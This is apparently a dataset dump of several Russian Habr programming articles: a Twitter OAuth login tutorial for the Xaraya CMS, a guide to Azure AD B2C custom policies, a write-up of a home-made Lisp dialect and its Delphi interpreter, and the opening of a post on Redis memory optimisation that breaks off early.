text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Сквозная авторизация на своем сайте через Twitter
Прошли те времена, когда каждый форум на персональной страничке каждого Васисуалия Свердыщенко требовал отдельной регистрации.
Мы потихонечку привыкаем к тому, что оставить комментарий от имени своего OpenID/OAuth провайдера можно фактически везде. Также для всех популярных CMS давно написаны плагины сквозной авторизации Twitter/Facebook/Google/Яndex/Вконтакте. Кроме того есть [DISQUS](http://disqus.com/)… Но что делать, если мы хотим предоставить пользователю стороннего сервиса какие-то дополнительные полномочия, не вынуждая его заводить отдельную учетную запись на нашем сайте? Особенно, если для нашей CMS пока нет чудо-плагина?
Я расскажу о том, как быстро и безболезненно прикрутить сквозную авторизацию к экзотической CMS и какие на этом пути встречаются подводные грабли.
Ингредиенты
-----------
Для примера я выберу авторизацию через [Twitter](http://twitter.com) в CMS [Xaraya](http://xaraya.com). Выбор провайдера обусловлен его популярностью. CMS именно эта — по трем причинам: она мне нравится, она малоизвестна (и, как следствие, мало отличается от самописной) и, наконец, она грамотно спроектирована (при чем тут это — станет ясно немного позже).
Архитектура MVC Xaraya такова, что все элементы каждой страницы зависят от контекста. Каждый модуль может уметь (а может — и не уметь) выводить как основное содержимое (например: ленту записей блога, отдельные записи блога), так и т. н. «блоки», встраиваемые обычно в боковые колонки и показываемые рядом с любым иным содержимым, сгенерированным другими модулями. Впрочем, что я тут распинаюсь — так устроены почти все CMS. Оговорюсь только, что в коде ниже остались некоторые специфичные для Xaraya функции — они все начинаются с префикса «`xar`» и по названию всегда понятно, что они делают. На понимание механизма это не должно никак повлиять.
Наш модуль не будет выводить никакого «основного» содержимого. Он будет состоять из одного блока, в котором будет либо кнопочка (пользователь не за логином):
либо визитная карточка пользователя за логином:
Рецепт
------
Мы хотим обеспечить следующее поведение:
* если пользователь не за логином — показать кнопку «Login with Twitter»;
* если мы пользователя узнали — показать его визитную карточку;
* если пользователь хочет залогиниться впервые — прозрачно создать «суррогатную» учетную запись в нашей базе и отдать управление состоянием нашей CMS;
* если же это повторный логин (сессия протухла, например, или он сам нажал «Выйти») — обновить пользовательские данные из его Twitter-account'а в нашей базе и залогинить его.
Основная проблема заключается в том, что [OAuth](http://ru.wikipedia.org/wiki/OAuth) подразумевает двойное перенаправление на сторонний сайт (сайт провайдера авторизации, в нашем случае — [twitter.com](http://twitter.com)). Поэтому из блока нашей CMS его просто так не выполнить — после походов за токенами и авторизацией — потеряется контекст текущей сессии. Стало быть, придется извращаться с выскакивающими окнами (знаю, знаю, что некрасиво, но что поделать…).
Способ приготовления
--------------------
Моя CMS умеет показывать разные шаблоны блока для простых странников и пользователей за логином.
Начнем с самого простого — сделаем шаблон блока для странников. В нем будет одна лишь кнопка, и немного скрипта:
```
```
Функция `popUp`, как ни странно, откроет всплывающее окно, в котором мы и будем идти тернистым путем авторизации. Код собственно авторизации я позаимствовал у [Abraham Williams](http://abrah.am), он есть на [Twitter API Wiki](http://apiwiki.twitter.com/w/page/22554657/OAuth-Examples). Наш первый уровень выглядит так:
```
require_once(dirname(__FILE__) . '/../libs/twitteroauth/twitteroauth.php');
require_once(dirname(__FILE__) . '/../libs/twitteroauth/config.php');
/* Build TwitterOAuth object with client credentials. */
$connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET);
/* Get temporary credentials. */
$request_token = $connection->getRequestToken(OAUTH_CALLBACK);
/* Save temporary credentials to session. */
/* NB! The code below is specific to Xaraya! */
xarSessionSetVar('oauth_token', $request_token['oauth_token']);
xarSessionSetVar('oauth_token_secret', $request_token['oauth_token_secret']);
/* NB! End of specific to Xaraya codepiece. */
/* If last connection failed don't display authorization link. */
switch ($connection->http_code) {
case 200:
/* Build authorize URL and redirect user to Twitter. */
$url = $connection->getAuthorizeURL($request_token);
header('Location: ' . $url); // ⇐ That's why we needed a popup window
break;
default:
/* Immediately return if something went wrong. */
return USER_AUTH_FAILED;
}
```
Twitter хранит токены авторизации для каждого приложения (а наша CMS для них — приложение) вечно, поэтому если пользователь хоть раз регистрировался на нашем сайте — цепочка переходов не потребует пользовательского ввода. Если это первая попытка логина к нам — Twitter спросит стандартное Allow/Deny. А если пользователь не залогинен в Twitter — его сначала попросят залогиниться. После всего этого, если пользователь нажал «Allow» — мы получим обратный редирект по адресу, который мы передали в `getRequestToken`. Вот как нужно его обработать:
```
require_once(dirname(__FILE__) . '/../libs/twitteroauth/twitteroauth.php');
require_once(dirname(__FILE__) . '/../libs/twitteroauth/config.php');
/* If the oauth_token is old—redirect to the connect page. */
if (
isset($_REQUEST['oauth_token']) &&
xarSessionGetVar('oauth_token') !== $_REQUEST['oauth_token']
) {
xarSessionSetVar('oauth_status', 'oldtoken');
xarRedirectUrl('…');
}
/* Create TwitteroAuth object with app key/secret and token key/secret from default phase */
$connection = new TwitterOAuth(
CONSUMER_KEY,
CONSUMER_SECRET,
xarSessionGetVar('oauth_token'),
xarSessionGetVar('oauth_token_secret')
);
/* Request access tokens from twitter */
$access_token = $connection->getAccessToken($_REQUEST['oauth_verifier']);
/* If HTTP response is 200 continue otherwise send to connect page to retry */
switch ($connection->http_code) {
case 200:
// http://apiwiki.twitter.com/w/page/22554689/Twitter-REST-API-Method%3A-account%C2%A0verify_credentials
$content = $connection->get('account/verify_credentials');
default:
xarRedirectUrl('…');
}
```
Теперь у нас есть сокровище — [данные пользователя](http://apiwiki.twitter.com/w/page/22554689/Twitter-REST-API-Method%3A-account%C2%A0verify_credentials), которые отдал нам Twitter. Пора вернуть их в наше приложение:
```
if(window.opener != null && !window.opener.closed) {
window.opener.setCredentials(php echo json_encode($content); ?);
}
```
Ага. Теперь пора повозиться с собственной системой авторизации.
Воробушек, иди к нам
--------------------
Итак, наш блок получил данные о пользователе. Перво-наперво — закроем надоевшее всплывающее окно. Затем — заполним псевдо-форму (а точнее, скрытую форму) полученными данными и пойдем проверять, знаком ли нам этот пользователь, или его еще придется регистрировать в нашей базе:
```
function setCredentials(content) {
if (popUpObj) {
popUpObj.close();
popUpObj = null;
}
if (content && content.screen_name) {
document.getElementById("name").value = content.name;
document.getElementById("screenname").value = content.screen_name;
document.getElementById("profileimageurl").value = content.profile_image_url;
document.getElementById("url").value = content.url;
document.getElementById("statustext").value = content.status.text;
document.getElementById("description").value = content.description;
document.getElementById("profiletextcolor").value = content.profile_text_color;
document.getElementById("profilelinkcolor").value = content.profile_link_color;
document.getElementById("profilebordercolor").value = content.profile_sidebar_border_color;
document.getElementById("doAuthForm").submit();
}
}
```
Все эти данные нам потребуются для отрисовки визитки пользователя его любимыми цветами. Форма, как вы понимаете, была подготовлена заранее обычным HTML. Вот куда пойдет `submit`:
```
extract($args);
$user_info = array(
'pass' => $pass,
'screenname' => $screenname,
'name' => $name,
'statustext' => $statustext,
'profileimageurl' => $profileimageurl,
'url' => $url,
'description' => $description,
'profiletextcolor' => $profiletextcolor,
'profilelinkcolor' => $profilelinkcolor,
'profilebordercolor' => $profilebordercolor
);
// Check, if the user already exists in our database
$userRole = xarGetRole(array('uname' => $user_info['screenname']));
if (!$userRole) {
$userRole = xarCreateRole(
array(
'uname' => $user_info['screenname'],
'realname' => $user_info['name'],
'email' => '', // Bloody Twitter does not provide emails
'pass' => $user_info['pass'],
'date' => time(),
'authmodule' => 'authtwitter'
)
);
}
/* Now we are to store user credentials so that when CMS will
* proceed with user registration and switch block to
* the template for logged in user, we could draw the card */
xarSessionSetVar('user_info', $user_info);
```
Ждем гостей
-----------
Теперь нам осталось только подготовиться к тому, что CMS захочет сменить шаблон нашего блока на другой вариант: для пользователя за логином. Я поленился оформлять этот код по-человечески, все равно всю логику мы уже отработали. Судите строго :-)
```
[Logout](&xar-modurl-authsystem-user-logout;)
[#$user\_info['screenname']#](http://twitter.com/#$user_info['screenname']#)
#$user\_info['name']#
[#$user\_info['name']#](#$user_info['url']#)
#$user\_info['description']#
#$user\_info['statustext']#
```
Повторюсь, теперь мы должны увидеть что-то вот такое:
Еще рецепты
-----------
* [Twitter API Documentation](http://apiwiki.twitter.com/w/page/22554679/Twitter-API-Documentation)
* [Еще про OAuth](http://apiwiki.twitter.com/w/page/22554643/Authentication)
* [OAuth FAQs](http://dev.twitter.com/pages/oauth_faq) | https://habr.com/ru/post/114955/ | null | ru | null |
# Сказ о том, как я настраивал Azure AD B2C на React и React Native Часть 2 (Туториал)
### Предисловие
Продолжение цикла по работе с Azure B2C. В данной статье я расскажу о самом сложном и неочевидном моменте, а именно Identity Experience Framework.
**Основная цель** — собрать воедино картинку для тех кто вообще не в теме и помочь настроить какие-то основные фичи.
**Ссылки на связанные посты**
* [Часть 1: Создание и настройка приложений на Azure AD B2C](https://habr.com/ru/post/503890/)
* Часть 2: Работа с Identity Framework Experience
* [Часть 3: Подключение приложения React](https://habr.com/ru/post/504690/)
* [Часть 4: Подключение приложения React Native](https://habr.com/ru/post/505408/)
* [Часть 5: Подключение и настройка бэкэнда на .NET Core 3](https://habr.com/ru/post/505978/)
### Базовая настройка
Перед тем как начать базовую настройку, хотел бы рассказать как происходит процесс загрузки новых правил:
1. Заходим в Identity Experience Framework
2. Нажимаем отправить пользовательскую политику
3. Выбираем файл (не забываем нажать «Перезаписать настраиваемую политику, если она уже существует»)
4. Отправляем
[](https://habrastorage.org/webt/ql/ot/yv/qlotyvy_zbgh037nxdzdf4xw6uc.png)
По сути, с прошлого раза ничего не изменилось, НО:
> Если вы меняете файл **TrustFrameworkExtension.xml** или **TrustFrameworkBase.xml** — переодически загружайте файл, который на них ссылается.
>
> Иногда, когда вы производите изменения в одном из этих файлов, тестируете, происходит так, что ваши изменения не появляются. Это происходит из за того, что в базовом файле
>
> вы поменяли что-то так, что при проверке приведет к ошибке дочерний файл.
>
>
В прошлой статье мы остановились на том — что добавили следующие файлы:
> a.TrustFrameworkBase.xml
>
> b.TrustFrameworkExtensions.xml
>
> c.SignUpOrSignin. XML
>
> d.ProfileEdit. XML
>
> e.PasswordReset. XML
Теперь мне бы хотелось рассказать подробно о каждом из них.
**TrustFrameworkBase.xml**
Данный файл содержит в себе базовую настройку. По сути он — основа основ, но в туториалах про него в основном говорят «Лучше не трогайте этот файл». Отчасти это правда, но есть несколько моментов о которых не говорят:
1. Любой туториал, который говорит произвести изменения в **TrustFrameworkExtensions.xml** по сути своей перезаписывает правила из **TrustFrameworkBase.xml**
2. Есть ситуации, когда удобнее поменять что-то в **TrustFrameworkBase.xml**.
3. Если вы найдете в других файлах ссылку на объект, который отсутствует в этих файлах — то он 100% лежит в **TrustFrameworkBase.xml** и его можно открыть и посмотреть
Из моего опыта скажу — я поменял в этом файле всего две вещи (Локализацию и удалил одно поле).
**TrustFrameworkExtension.xml**
С данным файлом вы будете проводить много времени вместе. По сути, это основной файл для ваших настроек. О нем постоянно упоминается в туториалах.
**SignUpOrSignin. XML, ProfileEdit. XML, PasswordReset. XML**
Эти файлы — конечные страницы. Вероятно вы захотите добавить свои. В них будет происходить наименьшее количество изменений.
Теперь поговорим о **структуре** файлов. У всех файлов похожая структура, поэтому описывать я буду на основе файла **TrustFrameworkExtension.xml**.
Файл поделен на несколько основных блоков
```
customtenant.onmicrosoft.com
B2C\_1A\_TrustFrameworkBase
```
Теперь о каждом блоке отдельно.
### BuildingBlocks
В этом блоке мы добавляем «инструменты», которые мы сможем использовать в дальнейшей работе.
[**ClaimsSchema**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/claimsschema)
Элемент [**ClaimsSchema**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/claimsschema) определяет типы утверждений, на которые можно ссылаться в рамках политики.
```
Picture
string
Country
string
DropdownSingleSelect
...
```
[**Predicates**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/predicates)
[**Предикаты**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/predicates) и элементы предикат валидатионс позволяют выполнять проверку, чтобы убедиться, что в клиент Azure Active Directory B2C (Azure AD B2C) введены только правильно сформированные данные.
```
The password must be between 6 and 64 characters.
6
64
a lowercase letter
a-z
...
```
[**PredicateValidations**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/predicates#predicatevalidations)
В то время как предикаты определяют проверку на соответствие типу утверждения, [**PredicateValidations**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/predicates#predicatevalidations) группирует набор предикатов для формирования проверки ввода пользователя, соответствующей типу утверждения.
```
The password must have at least 1 of the following:
...
```
[**ClaimsTransformations**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/claimstransformations)
Элемент [**ClaimsTransformations**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/claimstransformations) содержит список функций преобразования утверждений, которые могут использоваться в пути взаимодействия пользователя в качестве части настраиваемой политики.
```
...
```
[**ContentDefinitions**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/contentdefinitions)
Позволяет задать шаблоны для каждой из ваших страниц
```
https://azure.blob.core.windows.net/yourblobstorage/pagelayoutfile.html
~/common/default\_page\_error.html
urn:com:microsoft:aad:b2c:elements:contract:unifiedssp:1.2.0
...
```
[**DisplayControls**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/display-controls)
[**Элемент управления «Отображение»**](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/display-controls) — это элемент пользовательского интерфейса, который имеет специальные функции и взаимодействует с серверной службой Azure Active Directory B2C (Azure AD B2C)
```
...
...
```
### ClaimsProviders
В этом блоке, мы будем создавать сами страницы, а точнее их наполнение. Тут мы будем указывать какие у страницы входные и выходные данные.
[ClaimsProvider](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/claimsproviders) организует связь технических профилей с поставщиком утверждений.
```
Self Asserted
```
Элемент [TechnicalProfiles](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/technicalprofiles) содержит набор технических профилей, поддерживаемых поставщиком утверждений.
```
User ID signup
api.selfasserted
```
**Пример добавления поставщиков удостоверений Facebook**
Пример частичной перезаписи правила
```
Facebook
FACEBOOK\_ID
email public\_profile
https://graph.facebook.com/me?fields=id,first\_name,last\_name,name,email,picture
```
Полное правило из TrustFrameworkBase.xml
```
facebook.com
Facebook
Facebook
facebook
https://www.facebook.com/dialog/oauth
https://graph.facebook.com/oauth/access\_token
GET
0
json
```
### UserJourneys
В [UserJourneys](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/userjourneys) пользователя указываются явные пути, через которые политика позволяет приложению, основанному на утверждениях, предоставлять пользователю требуемые утверждения.
Ниже я добавил пару простых вещей, остальные найти легко в туториалах которые я добавлю ниже.
```
...
```
**Пример обмена ClaimsExchange**
Ниже пример взаимодействия [ClaimsExchanges](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/custom-policy-rest-api-claims-exchange) с поставщиком.
```
```
### Типовые задачи
В результате прочитанного выше вам будет проще понимать туториалы ниже.
* [Настройка регистрации и входа с учетной записью Facebook](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/identity-provider-facebook)
* [Настройка регистрации и входа с учетной записью Google](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/identity-provider-google)
* [Настраиваемая проверка электронной почты](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/custom-email)
* [Настройка сложности пароля в настраиваемых политиках](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/custom-policy-password-complexity)
* [Настройка пользовательского интерфейса](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/customize-ui-overview)
* [Настройка языка](https://docs.microsoft.com/ru-ru/azure/active-directory-b2c/user-flow-language-customization)
### SignUpOrSignin.XML, ProfileEdit.XML, PasswordReset.XML
Это конечные файлы, где можно перезаписать \ добавить **BuildingBlocks** и где мы указываем, какие данные добавить в токен.
```
xml version="1.0" encoding="UTF-8" standalone="yes"?
antekesd.onmicrosoft.com
B2C\_1A\_TrustFrameworkExtensions
https://some.blob.core.windows.net/some/some.html
~/common/default\_page\_error.html
urn:com:microsoft:aad:b2c:elements:contract:unifiedssp:1.2.0
PolicyProfile
```
### Тестирование
Для того что бы протестировать свежие изменения нужно:
1. Перейти в Identity Experience Framework
2. Выбрать **Policy**, который вы хотите протестировать
3. Нажать «Запустить сейчас»
[](https://habrastorage.org/webt/-d/bv/nb/-dbvnbzig1vatibisepcb9ekdxq.png)
### Заключение
В результате вы получите форму авторизации полностью (или почти) удовлетворяющую вашим \ заказчика требованиям.
Спасибо за внимание! | https://habr.com/ru/post/504030/ | null | ru | null |
# Lisp со вкусом Pascal или 8501-й язык программирования
Некоторое время назад (года три) решил почитать учебник по Лиспу. Без всякой конкретной цели, просто ради общего развития и возможности шокировать собеседников экзотикой (один раз кажется, даже получилось).
Но при ближайшем рассмотрении Лисп оказался действительно мощным, гибким и как, ни странно, полезным в «быту». Все мелкие задачи автоматизации быстро перекочевали в скрипты на Лиспе, а так же появились возможности для автоматизации более сложной.
Здесь стоить отметить, что под «возможностью автоматизации» я подразумеваю ситуацию, когда суммарное время на написание и отладку программы меньше, чем время, затрачиваемое на решение той же задачи вручную.
Пол Грэм написал не одну статью и даже книгу о преимуществах Лиспа. На момент написания этой статьи Lisp занимает 33-е место в рейтинге TOIBE (в три раза мертвее мёртвого Delphi). Возникает вопрос: почему язык так мало распространён если он так удобен? Приблизительно два года использования дали несколько намёков на причины.
### Недостатки
*1. Разделяемые структуры данных*
Концепция, позволяющая оптимизировать функциональные программы, но чреватая трудноуловимыми ошибками в императивных. Возможность случайного повреждения посторонней структуры данных при модификации переменной, не имеющей видимой связи со структурой, требует от программиста постоянного контроля происходящего за кулисами и знания внутренней реализации каждой используемой функции (и системной, и пользовательской). Самое удивительное — это возможность повредить тело функции, модификацией её возвращаемого значения.
*2. Отсутствие инкапсуляции*
Понятие пакета хотя и существует, но не имеет ничего общего с **package** в Ada или **unit** в Delphi. Любой код может добавить что угодно в любой пакет (кроме системных). Любой код может извлечь что угодно из любого пакета, используя оператор **::**.
*3. Бессистемные сокращения*
Чем отличается MAPCAN от MAPCON? Почему в SETQ, последняя буква Q? С учётом возраста языка можно понять причины такого состояния дел, но хочется языка немного почище.
*4. Многопоточность*
Этот недостаток косвенно относится к Лиспу и, в основном, касается используемой мной реализации — SteelBank Common Lisp. Стандартом Common Lisp многопоточность не предусмотрена. Попытка использования реализации, предоставляемой SBCL, к успеху не привела.
Отказываться от такого удобного инструмента жалко, но неудовлетворённость постепенно накапливается.
### Поиск решения
Сначала можно зайти на Википедию на страницу Лиспа. Осмотреть раздел «Диалекты». Прочитать краткое введение к каждому. И осознать, что на вкус и цвет все фломастеры разные.
> Если хочешь что-то сделать, нужно это делать обязательно самому
>
> — Жан Батист Эммануэль Зорг
Попробуем создать свой правильный Лисп, добавив в него немного Ады, много Delphi и совсем каплю Оберона. Назовём полученную смесь Лися.
### Основные концепции
*1. Никаких указателей*
В рамках борьбы с ПРОБЛЕМОЙ-1 все операции должны производиться путём копирования значений. По виду структуры данных в коде или при выводе на печать должны быть полностью видны все её свойства, внешние и внутренние связи.
*2. Добавим модули*
В рамках борьбы с проблемой-2 импортируем из Ады операторы **package**, **with** и **use**. В процессе, отбросим избыточно сложную схему импорта/затенения символов Лиспа.
```
(package имя-пакета (список экспортируемых символов)
(реализации)
(функций))
```
```
(with имя-пакета) ;поиск файла «имя-пакета.lisya» и импорт содержимого
```
```
(use имя-пакета) ;аналогично, но символы импортируются без имени пакета
```
*3. Меньше сокращений*
Наиболее частые и общеупотребительные символы всё равно будут с сокращениями, но преимущественно наиболее очевидные: **const**, **var**. Функция форматированного вывода — FMT требует сокращения, поскольку часто встречается внутри выражений. **Elt** — взятие элемента — просочился из Common Lisp и прижился, хотя необходимости в сокращении нет.
*4. Регистронезависимые идентификаторы*
Я считаю, что правильный язык (и файловая система) {$HOLYWAR+} должен быть регистронезависимым {$HOLYWAR-}, чтобы не ломать лишний раз голову.
*5. Удобство использования с русской раскладкой клавиатуры*
Синтаксис Лиси всячески избегает использования символов, недоступных в одной из раскладок. Нет квадратных и фигурных скобок. Нет #, ~, &, <, >, |. При чтении численных литералов правильными десятичными разделителями считаются как запятая, так и точка.
*6. Расширенный алфавит*
Одной из приятных черт SBCL оказался UTF-8 в коде. Возможность объявлять константы МЕДВЕДЬ, ВОДКА и БАЛАЛАЙКА значительно упрощает написание прикладного кода. Возможность вставлять Ω, Ψ и Σ делает формулы в коде наглядней. Хотя теоретически существует возможность использовать любые символы юникода, гарантировать корректность работы с ними сложно (скорее лень, чем сложно). Ограничимся кириллицей, латиницей и греческим.
*7. Численные литералы*
Это наиболее полезное для меня расширение языка.
```
10_000 ;разделители разрядов для удобочитаемости
10k ;десятичные приставки для целых и дробных чисел
10к ;русские десятичные приставки для минимизации переключений раскладки
10° 10pi 10deg 10гр ;не десятичные приставки
10π ;приставка pi в более эстетичном варианте
10+i10 ;литерал комплексного числа
10+м10 ;ещё раз комплексное число
10а10deg ;литерал комплексного числа в показательной форме с аргументом в градусах
```
Последний вариант мне кажется самым не эстетичным, но он самый востребованный.
*8. Циклы*
Циклы в Лиспе нестандартны и изрядно запутаны. Упростим до минимального стандартного набора.
```
(for i 5
;повторить пять раз i = 0..4
)
(for i 1..6
;повторить пять раз i = 1..5
)
(for i список
;повторить для каждого элемента списка
;допускается присваивание нового значения переменной цикла
)
(for i (subseq список 2)
;повторить для элементов списка начиная со второго элемента и до конца
)
```
Переменная цикла за его пределами не видна.
```
(while условие
)
```
*9. GOTO*
Не очень нужный оператор, но без него сложно продемонстрировать пренебрежение правилами структурного программирования.
```
(block
:метка
(goto :метка)) ;этот блок кода иногда зависает
```
*10. Унификация областей видимости*
В Лиспе есть два различных типа областей видимости: TOPLEVEL и локальная. Соответственно есть два разных способа объявления переменных.
```
(defvar A 1)
(let ((a 1)) …)
```
В Лисе только один способ, используемый как на верхнем уровне скрипта, так и в локальных областях, включая пакеты.
```
(var A 1)
```
При необходимости ограничить область видимости используется оператор
```
(block
(var A 1)
(set A 2)
(fmt nil A))
```
Тело цикла содержится в неявном операторе BLOCK (как и тело функции/процедуры). Все объявленные в цикле переменные уничтожаются в конце итерации.
*11. Однослотовость символов*
В Лиспе функции являются особыми объектами и хранятся в специальном слоте символа. Один символ может одновременно хранить переменную, функцию и список свойств. В Лисе каждый символ связан только с одним значением.
*12. Удобный ELT*
Типичный доступ к элементу сложной структуры в Лиспе выглядит так
```
(elt (slot-value (elt структура 1) 'слот-2) 3)
```
В Лисе реализован унифицированный оператор ELT, обеспечивающий доступ к элементам любых составных типов (списков, строк, записей, массивов байт, хэш-таблиц).
```
(elt структура 1 \слот-2 3)
```
Идентичную функциональность можно получить и макросом на Лиспе
```
(defmacro field (object &rest f)
"Извлекает элемент из сложной структуры по указанному пути.
(field *object* 0 :keyword symbol \"string\")
Каждый числовой параметр трактуется как индекс массива.
Каждое ключевое слово трактуется как свойство в plist.
Каждый символ (не ключевой) трактуется как функция доступа.
Каждая строка трактуется как ключ в ассоциативном массиве."
(if f (symbol-macrolet ((f0 (elt f 0))(rest (subseq f 1)))
(cond
((numberp f0) `(field (elt ,object ,f0) ,@rest))
((keywordp f0) `(field (getf ,object ,f0) ,@rest))
((stringp f0) `(field (cdr (assoc ,f0 ,object :test 'equal)) ,@rest))
((and (listp f0) (= 2 (length f0)))
`(field (,(car f0) ,(cadr f0) ,object) ,@rest))
((symbolp f0) `(field (,f0 ,object) ,@rest))
(t `(error "Ошибка форматирования имени поля"))))
object))
```
*13. Ограничение режимов передачи параметров подпрограмм*
В Лиспе имеется, как минимум пять режимов передачи параметров: обязательные, *&optional*, *&rest*, *&key*, *&whole* и разрешена их произвольная комбинация. В действительности, большинство комбинаций дают странные эффекты.
В Лисе разрешено использовать только комбинацию из обязательных параметров и одного из следующих режимов на выбор *:key*, *:optional*, *:flag*, *:rest*.
*14. Многопоточность*
С целью предельного упрощения написания многопоточных программ, была принята концепция отделения памяти. При порождении потока все переменные, доступные новому потоку, копируются. Все ссылки на эти переменные заменяются ссылками на копии. Передача информации между потоками возможна только посредством защищённых объектов или через результат, возвращаемый потоком при завершении.
Защищённые объекты всегда содержат критические секции для обеспечения атомарности операций. Вход в критические секции осуществляется автоматически — отдельных операторов для этого в языке нет. К защищённым объектам относятся: очередь сообщений, консоль и файловые дескрипторы.
Создание потоков возможно многопоточной функцией отображения
```
(map-th (function (x) …) данные-для-обработки)
```
Map-th автоматически запускает количество потоков, равное количеству процессоров в системе (или в два раза больше, если у вас Intel inside). При рекурсивном вызове, последующие вызовы map-th работают в один поток.
Дополнительно есть встроенная функция thread, выполняющая процедуру/функцию в отдельном потоке.
```
;пример асинхронного исполнения
(var поток (thread длительные-вычисления-1))
(+ (длительные-вычисения-2) (wait поток))
```
*15. Функциональная чистота в императивном коде*
В Лисе есть функции для функционального программирования и процедуры для процедурного. На подпрограммы, объявленные с использованием ключевого слова function, налагаются требования отсутствия побочных эффектов и независимости результата от внешних факторов.
### Нереализованное
Некоторые интересные возможности Лиспа остались не реализованными в силу низкого приоритета.
*1. Обобщённые методы*
Возможность выполнять перегрузку функций при помощи defgeneric/defmethod.
*2. Наследование*
*3. Встроенный отладчик*
При возникновении исключения интерпретатор Лиспа переключается в режим отладчика.
*4. UFFI*
Интерфейс для подключения модулей, написанных на других языках.
*5. BIGNUM*
Поддержка целых чисел произвольной разрядности
**Отброшенные**
Некоторые возможности Лиспа были рассмотрены и сочтены бесполезными/вредными.
*1. Управляемая комбинация методов*
При вызове метода для класса выполняется комбинация методов родителей и существует возможность изменять правила комбинации. Итоговое поведение метода представляется слабо предсказуемым.
*2. Перезапуски*
Обработчик исключения может внести изменения в состояние программы и послать команду перезапуска коду, сгенерировавшему исключение. Эффект от применения аналогичен использованию оператора GOTO для перехода из функции в функцию.
*3. Римский счёт*
Лисп поддерживает систему счисления, которая устарела незадолго до его появления.
### Использование
Приведу несколько простых примеров кода
```
(function crc8 (data :optional seed)
(var result (if-nil seed 0))
(var s_data data)
(for bit 8
(if (= (bit-and (bit-xor result s_data) $01) 0)
(set result (shift result -1 8))
(else
(set result (bit-xor result $18))
(set result (shift result -1 8))
(set result (bit-or result $80))))
(set s_data (shift s_data -1 8)))
result)
```
```
;поэлементное возведение списка в квадрат
(map (function (x) (** x 2)) \(1 2 3))
```
```
;извлечение из списка строк, начинающихся с qwe и длиной более пяти символов
(filter (function (x) (regexp:match x «^qwe...»)) список-строк)
;но если строк много, а процессор шестиядерный, то лучше так
(filter-th (function (x) (regexp:match x «^qwe...»)) список-строк)
```
### Реализация
Интерпретатор написан на Delphi (FreePascal в режиме совместимости). Собирается в Lazarus 1.6.2 и выше, под Windows и Linux 32 и 64 бита. Из внешних зависимостей требует libmysql.dll. Содержит около 15\_000..20\_000 строк. Имеются около 200 встроенных функций различного назначения (некоторые перегружены по восемь раз).
[Хранится здесь](https://gitlab.com/andrey_ssh1/lisya)
Поддержка динамической типизации выполнена тривиальным образом — все обрабатываемые типы данных представлены наследниками одного класса TValue.
Важнейший для Лиспа тип — список является, как и принято в Delphi, классом, содержащим динамический массив объектов типа TValue. Для данного типа реализован механизм CopyOnWrite.
Управление памятью автоматическое на основе подсчёта ссылок. Для рекурсивных структур выполняется подсчёт всех ссылок в структуре одновременно. Освобождения памяти запускается сразу при выходе переменных из области видимости. Механизмы отложенного запуска сборщика мусора отсутствуют.
Обработка исключений работает на механизме встроенном в Delphi. Таким образом, ошибки, возникающие в коде интерпретатора, могут быть обработаны выполняемым кодом на Лисе.
Каждый оператор или встроенная функция Лиси реализован как метод или функция в коде интерпретатора. Выполнение скрипта осуществляется путём взаимно-рекурсивного вызова реализаций. У кода интерпретатора и скрипта общий стек вызовов.
Переменные скрипта хранятся в динамической памяти независимо. Каждая пользовательская функция имеет свой стек для хранения ссылок на переменные, независимый от стека верхнего уровня или стека родительской функций.
Особую сложность представляет собой реализация оператора присваивания (set) для элементов структур. Непосредственное вычисление указателя на требуемый элемент приводит к риску появления висячих ссылок, поскольку синтаксис Лиси не запрещает модификацию структуры в процессе вычисления требуемого элемента. Как компромиссное решение реализован «цепочечный указатель» — объект, содержащий ссылку на переменную и массив числовых индексов для указания пути внутри структуры. Такой указатель так же подвержен проблеме висячих ссылок, но в случае сбоя генерирует осмысленное сообщение об ошибке.
### Инструменты разработки
*1. Консоль*
*2. Текстовый редактор*
Оборудован подсветкой синтаксиса и возможностью запуска редактируемого скрипта по F9.
### Заключение
В текущем состоянии проект решает те проблемы, ради которых затевался, и не требует дальнейшей активной доработки. Множество присутствующих недоделок не оказывают существенного влияния на работу. | https://habr.com/ru/post/424447/ | null | ru | null |
# Оптимизация хранимых данных на 93% (Redis)
Хотелось бы поделиться опытом оптимизации данных с целью уменьшения расходов на ресурсы.
В системе рано или поздно встает вопрос об оптимизации хранимых данных, особенно если данные хранятся в оперативной памяти. Примером такой БД является Redis.
Как временное решение, можно увеличить RAM тем самым можно выиграть время.
Redis это no-sql база данных, профилировать ее можно с помощью встроенной команды *redis-cli --bigkeys*, которая покажет кол-во ключей и сколько в среднем занимает каждый ключ.
Объемными данными оказались исторические данные типо *sorted sets*. У них была ротация 10 дней из приложения.
Проект в продакшене, поэтому оптимизация никак не должна была сказаться на пользователях.
Данные из себя представляли события изменения цены / даты доставки у оффера. Офферов было очень много – порядка 15000 в каждом фиде (прайслисте).
Рассмотрим следующий пример данных события по офферу:
